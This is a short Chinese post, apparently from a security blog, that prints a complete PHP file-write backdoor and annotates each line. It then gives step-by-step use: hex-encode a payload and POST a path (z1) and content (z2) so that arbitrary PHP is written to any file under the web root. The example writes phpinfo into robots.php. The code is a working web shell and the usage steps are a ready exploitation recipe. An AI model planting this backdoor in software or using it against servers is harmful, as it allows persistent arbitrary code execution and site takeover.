<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"];
$c = $_POST["z2"];
$buf = "";
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
@fwrite(fopen($f, "w") , $buf);
echo "1ok";
?>

下面分析一下这个代码

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"];  // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "www.uedbox.com"; //仅仅是为了让作者或利用者辨别是否存在此PHP文件吧
?>

另外给出此后门的利用方式:

先把要写入的内容URL编码,比如:

<?php phpinfo(); ?>

编码后:

%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%3B%20%3F%3E

然后去掉里面的百分号(%)得到:

3C3F70687020706870696E666F28293B203F3E

然后给后门POST内容:

z1=/robots.php&z2=3C3F70687020706870696E666F28293B203F3E

可以看到phpinfo已经写入到根目录下的robots.php:
PHP后门